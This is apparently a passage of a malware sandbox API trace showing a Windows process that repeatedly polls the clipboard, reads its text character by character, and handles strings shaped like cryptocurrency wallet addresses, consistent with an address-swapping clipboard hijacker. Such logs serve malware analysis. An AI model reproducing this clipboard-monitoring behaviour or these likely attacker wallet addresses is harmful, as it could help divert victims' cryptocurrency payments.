lpMultiByteStr=0x1da3438, cbMultiByte=42, lpWideCharStr=0x18eeb0, cchWideChar=2047 | out: lpWideCharStr="qz4c9989lurmv3uuhyux34jxy77uttah8yunhl65lpMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 42 [0054.247] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1da3470, cbMultiByte=42, lpWideCharStr=0x18eeb0, cchWideChar=2047 | out: lpWideCharStr="0xcDfF92e9c364E2707e5C71494ee95f16F44A5dd7MXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 42 [0054.247] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1db8e98, cbMultiByte=34, lpWideCharStr=0x18eeb0, cchWideChar=2047 | out: lpWideCharStr="XeHqXvMCCbSJsNK5RsoSrRuWoDU94iTUnjF44A5dd7MXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 34 [0054.248] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1d8dab8, cbMultiByte=106, lpWideCharStr=0x18eeb0, cchWideChar=2047 | out: lpWideCharStr="4BrL51JCc9NGQ71kWhnYoDRffsDZy7m1HUU7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 106 [0054.248] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1db8ec8, cbMultiByte=35, lpWideCharStr=0x18eeb0, cchWideChar=2047 | out: lpWideCharStr="t1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 35 [0054.248] Sleep (dwMilliseconds=0x64) [0054.370] GetOpenClipboardWindow () returned 0x0 [0054.370] OpenClipboard (hWndNewOwner=0x0) returned 1 [0054.370] GetClipboardData (uFormat=0xd) returned 0x6069b8 [0054.370] GlobalLock (hMem=0x6069b8) returned 0x6069b8 [0054.370] GlobalSize (hMem=0x6069b8) returned 0x42 [0054.370] SysReAllocStringLen (in: pbstr=0x18ff50*=0x0, psz="vBrXECGFCBrWhovEKQCyiXWAMfqlNpkc", len=0x21 | out: pbstr=0x18ff50*="vBrXECGFCBrWhovEKQCyiXWAMfqlNpkc") returned 1 [0054.370] GlobalUnlock (hMem=0x6069b8) returned 1 [0054.370] CloseClipboard () returned 1 [0054.370] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="v\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0054.370] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="B\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0054.370] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="r\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0054.371] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="X\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0054.371] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="E\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0054.371] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="C\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0054.371] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="G\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0054.371] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="F\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0054.371] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="C\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0054.371] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="B\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0054.371] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="r\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0054.371] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="W\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0054.372] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="h\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0054.372] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="o\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0054.372] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="v\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0054.372] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="E\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0054.372] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="K\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0054.372] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="Q\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0054.372] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="C\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0054.372] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="y\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0054.373] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="i\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0054.373] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="X\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0054.373] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="W\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0054.373] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="A\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0054.373] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="M\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0054.373] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="f\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0054.373] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="q\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0054.373] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="l\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0054.373] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="N\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0054.374] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="p\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0054.374] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="k\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0054.374] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="c\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0054.374] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1db8e68, cbMultiByte=34, lpWideCharStr=0x18eeb0, cchWideChar=2047 | out: lpWideCharStr="1Htm9mQkBRRH6yD6oRL4QoSqoj5SphShohx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 34 [0054.374] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1da3438, cbMultiByte=42, lpWideCharStr=0x18eeb0, cchWideChar=2047 | out: lpWideCharStr="qz4c9989lurmv3uuhyux34jxy77uttah8yunhl65lpMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 42 [0054.374] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1da3470, cbMultiByte=42, lpWideCharStr=0x18eeb0, cchWideChar=2047 | out: lpWideCharStr="0xcDfF92e9c364E2707e5C71494ee95f16F44A5dd7MXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 42 [0054.374] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1db8e98, cbMultiByte=34, lpWideCharStr=0x18eeb0, cchWideChar=2047 | out: lpWideCharStr="XeHqXvMCCbSJsNK5RsoSrRuWoDU94iTUnjF44A5dd7MXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 34 [0054.374] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1d8dab8, cbMultiByte=106, lpWideCharStr=0x18eeb0, cchWideChar=2047 | out: lpWideCharStr="4BrL51JCc9NGQ71kWhnYoDRffsDZy7m1HUU7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 106 [0054.374] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1db8ec8, cbMultiByte=35, lpWideCharStr=0x18eeb0, cchWideChar=2047 | out: lpWideCharStr="t1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 35 [0054.374] Sleep (dwMilliseconds=0x64) [0054.479] GetOpenClipboardWindow () returned 0x0 [0054.479] OpenClipboard (hWndNewOwner=0x0) returned 1 [0054.482] GetClipboardData (uFormat=0xd) returned 0x6069b8 [0054.482] GlobalLock (hMem=0x6069b8) returned 0x6069b8 [0054.482] GlobalSize (hMem=0x6069b8) returned 0x42 [0054.482] SysReAllocStringLen (in: pbstr=0x18ff50*=0x0, psz="vBrXECGFCBrWhovEKQCyiXWAMfqlNpkc", len=0x21 | out: pbstr=0x18ff50*="vBrXECGFCBrWhovEKQCyiXWAMfqlNpkc") returned 1 [0054.482] GlobalUnlock (hMem=0x6069b8) returned 1 [0054.482] CloseClipboard () returned 1 [0054.482] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="v\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0054.482] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="B\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0054.482] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="r\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0054.482] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="X\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0054.483] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="E\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0054.483] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="C\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0054.483] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="G\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0054.483] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="F\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0054.483] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="C\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0054.483] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="B\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0054.483] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="r\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0054.483] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="W\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0054.483] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="h\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0054.484] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="o\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0054.484] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="v\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0054.484] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="E\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0054.484] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="K\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0054.484] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="Q\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0054.484] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="C\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0054.484] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="y\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0054.484] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: 